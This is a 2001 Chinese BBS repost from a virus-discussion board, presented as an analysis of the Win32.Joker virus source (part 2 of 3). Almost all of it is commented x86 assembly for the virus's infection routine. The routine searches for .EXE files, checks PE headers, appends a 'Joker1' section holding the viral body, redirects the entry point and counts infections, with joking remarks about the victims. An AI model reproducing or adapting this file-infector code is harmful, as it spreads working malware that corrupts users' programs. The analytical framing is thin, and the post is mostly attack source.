荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Mic (至酷霸王丸), 信区: Virus
标  题: 经典病毒源码 分析:Win32.Joker (2/3)
发信站: 荔园晨风BBS站 (Wed May 30 07:49:16 2001), 转信

【 以下文字转载自 Mic 的信箱 】
【 原文由 Smickey.bbs@melon.gznet.edu.cn 所发表 】
发信人: hollando (拜人精神,早睡早起), 信区: Virus
标  题: 经典病毒源码 分析:Win32.Joker (2/3)
发信站: 华南网木棉站 (Sun May 27 13:22:31 2001), 转信

; --------------------------------------------------------------------
; 找当前文件夹中第一个文件
; --------------------------------------------------------------------
FindFirstFile:
   mov     ax, 714Eh         ; EAX = LFN 找第一个文件 调用
    cwde          ; 把16位的 AX 转换为32位的 EAX
    call    PerformSearch
  db      "*.EXE",0          ; EXE 通配符
PerformSearch: ; ...
   pop edx         ; EDX = ASCIIz 通配符
   lea     edi, [ebp+FindData]    ; EDI = 搜寻数据纪录
   xor     ecx, ecx         ; ECX = 属性
   lea     esi, [ecx]          ; 日期和时间
   inc esi         ; ESI = 1
    call    Int21h
   jnb     ExitSearch
   xor     eax, eax          ; 这不好,有错
ExitSearch: ; ...
   mov     [ebp+SearchHandle], eax ; 保存搜索句柄
       retn
; --------------------------------------------------------------------
; Find next files
; --------------------------------------------------------------------
FindNextFile:
   mov     ax, 714Fh          ; AX = LFN 查找下一个文件 调用
    cwde          ; 把16位的 AX 转换为32位的 EAX
   lea     edi, [ebp+FindData]    ; EDI = 到 FindData 结构的指针
   xor     esi, esi         ; ESI = 日期,时间
   inc   esi
   mov     ebx, [ebp+SearchHandle] ; EBX = 搜索句柄
    call    Int21h
   jnb     ExitFindNextFil
   xor     eax, eax         ; EAX = 0 (这不好,有错)
ExitFindNextFil: ; ...
       retn
; --------------------------------------------------------------------
; 感染找到的文件,呵呵
; --------------------------------------------------------------------
InfectFile:
    call    OpenFile
   jnb     continue_inf
   xor     eax, eax
       retn
continue_inf: ; ...
   mov     [ebp+FileHandle], eax   ; 保存文件句柄
   xor     ecx, ecx         ; ECX = 0
   mov  ch, 4          ; 读 400h 字节
    call    ReadFromFile
  jb      inf_stage2
    call    CheckValidPE
inf_stage2: ; ...
  jb      InfError1          ; 错误?倒霉...
   cmp     dword ptr [ebp+FileSizeHigh], 0 ; FileSizeHigh = 0?
   jnz     InfError1          ; 如果是的话那就太大了
   cmp     dword ptr [ebp+FileSizeLow], 7FFFEFFFh ; 文件太大了? 算啦!
  ja      InfError1
    call    @@3
@@3: pop   eax
   add     eax, 13h         ; EAX = 跳转的偏移量
call_jump_eax: ; ...
    call    jump_eax
  db      "Joker1",0,0          ; 新段的名字。
jump_eax:
   jmp     eax
   pop eax          ; 清除堆栈中的垃圾
    push esi          ; 保存 ESI
    xchg    eax, esi         ; EAX = ESI
        lodsd
   lea     edi, [ebp+buffer]      ; EDI = 文件头的起点
   xor     ecx, ecx
   mov  ch, 1          ; 搜索 400h 字节
     repne   scasd
   pop   esi
  jz      InfError1
   mov     ax, [esi+6]          ; AX = 区段数
    cwde          ; 16->32位转换
   mov     ecx, 28h
   dec   eax
   mul   ecx
   add     eax, 0F8h
   add     eax, esi
    xchg    eax, edi         ; EDI = 指向最后区段
   mov     [ebp+Ptr2LastSection], edi
   mov     ebx, [edi+10h]         ; EBX = SizeOfRawData
   add     ebx, [edi+14h]         ; EBX = 指向最后区段的指针
   mov     eax, ebx         ; EAX = EBX
   mov     ecx, [esi+3Ch]         ; ECX = 文件对正
   dec eax          ; 成那个值。
   add     eax, ecx
   xor     edx, edx         ; EDX = 0
   div   ecx
   mul ecx         ; EAX = 修正值
   mov     edx, eax         ; EDX = EAX
   mov     [ebp+ASizeOfRawData], edx ; 保存到变量中
   mov     ecx, eax
   shr     ecx, 10h          ; 转换成需要的形式
   xor   al, al          ; 把指针移动到我们希望的地方
    call    MoveFilePointer         ; 完成
   jnc     ContinueInf
InfError1: ; ...
   jmp     InfError
ContinueInf: ; ...
   mov     byte ptr [ebp+PushImm32], 68h ; 一个 PUSH imm8 操作码
   mov     edx, [esi+28h]         ; EDX = 宿主 EIP
   mov     [ebp+OldEIP], edx       ; 放到PUSH后面
   lea     edx, [ebp+PushImm32]
   xor     ecx, ecx         ; ECX = 0
   mov  cl, 5         ; ECX = 5
    call    Write2File
   jnc     Continue2          ; 如果没错的话,来这儿
InfError: ; ...
   jmp     CloseAndQuit          ; 完了,有错...
Continue2:          ; ...
   mov     eax, virus_size        ; EAX = 病毒大小
   dec eax         ; EAX--
   xor     edx, edx         ; EDX = 0
   mov     ecx, [esi+3Ch]         ; ECX = 对正因子
   add     eax, ecx          ; 现在病毒对正成真正的病毒的大小
   div   ecx
   mul   ecx
    xchg    eax, ecx
   mov     [ebp+AVirusSize], ecx   ; 然后作为自身的变量保存
   sub   ecx, 5          ; 减去5(为PUSH imm32)
    call    write_virus
call_data:
    call    virus_start
write_virus:
   pop edx         ; EDX = 指向 call_data
   add     edx, [edx+1]          ; 加上调用地址
   add     edx, 0Ah         ; EDX = 要写的数据
    call    Write2File          ; 写病毒 :)
    push esi          ; 保存 ESI
   mov     edi, [ebp+Ptr2LastSection] ; EDI = 指向最后区段的指针
   add     edi, 28h         ; EDI = EDI+28h (区段头大小)
    call    @@2
@@2: pop   eax
   add   eax, 9          ; 跳过这段垃圾……不过有原因
   jmp     call_jump_eax          ; 她返回我们需要的新区段
         ; 的名字的指针
   pop esi         ; ESI = 指向 "Joker1\0\0"
     lodsd          ; 我们给新区段名字
     stosd          ; 她占用8字节,所以... :)
        lodsd
        stosd
   pop esi          ; 还原最初 ESI 值
   mov     eax, [ebp+AVirusSize]  ; EAX = 修正后的病毒大小
   mov     ecx, [esi+38h]         ; ECX = 区段的对正
   cdq         ; EDX = 0
   dec eax          ; 把病毒大小按照区段对正大小修正
   add     eax, ecx
   div   ecx
   mul   ecx
     stosd          ; 区段的虚拟地址
   mov     eax, [edi-28h]          ; 这里病毒进行
   add     eax, [edi-2Ch]          ; 一些必要的操作
   dec eax          ; 来获得新的虚拟地址
   add     eax, ecx
   div   ecx
   mul   ecx
     stosd          ; 区段的虚拟地址
    push eax          ; 保存到堆栈
   mov     eax, virus_size        ; EAX = 病毒大小
   mov     ecx, [esi+3Ch]
   cdq         ; EDX = 0
   dec   eax
   add     eax, ecx
   div   ecx
   mul   ecx
     stosd          ; 区段对应的 SizeOfRawData
   mov     eax, [ebp+ASizeOfRawData]
     stosd          ; 区段对应的 PointerToRawData
   xor     eax, eax         ; EAX = 0
     stosd          ; 区段对应的 PointerToRelocations
     stosd          ; 区段对应的 PointerToLineNumbers
     stosw          ; 区段对应的 NumberofRelocations
        stosw
   mov     eax, 20000020h          ; 区段对应的 attributes
     stosd          ; (行了)
   lea     esi, [ebp+40h]
        lodsd
   lea     esi, [ebp+eax+4]       ; ESI = 文件句柄指针
   pop eax         ; EAX = 新区段的虚拟地址
   mov     [esi+28h], eax          ; 设置为新的入口点
   inc     word ptr [esi+6]        ; 增加区段数
   mov     eax, [ebp+AVirusSize]
   add     [esi+1Ch], eax          ; 把修正后的病毒大小加到 SizeOfCode
   mov     ebx, [esi+50h]         ; EBX = 原来的 SizeOfImage
   add     eax, ebx         ; EAX = 修正过的病毒大小+SizeOfImage
   mov     ecx, [esi+38h]         ; ECX = 段对正值
   dec eax          ; 修正 病毒大小+SizeOfImage
   xor     edx, edx          ; 到 SectionAlignment
   add     eax, ecx
   div   ecx
   mul   ecx
   mov     [esi+50h], eax          ; 保存新的 SizeOfImage
   xor     edx, edx         ; EDX = 0
   mov     ecx, edx         ; ECX = 0
   xor   al, al          ; AL = 0 (到希望的位置的指针)
    call    MoveFilePointer
   lea     edx, [ebp+buffer]      ; EDX = 堆栈中指向病毒的指针
   xor     ecx, ecx         ; ECX = 0
   mov  ch, 4          ; 追加 400h 字节
    call    Write2File
   inc     dword ptr [ebp+InfCounter] ; 感染计数++ (人有少了一个)
CloseAndQuit: ; ...
    push eax          ; 保存 EAX
    call    CloseFile          ; 关闭文件
   pop eax          ; 恢复 EAX
        retn

--
※ 来源:.GNU中国站 hollando.gnu.org.cn.[FROM: 127.0.0.1]  *[46

※ 来源:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 202.38.240.231]
--
※ 转寄:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 深大荔园晨风转站]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.28.108]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店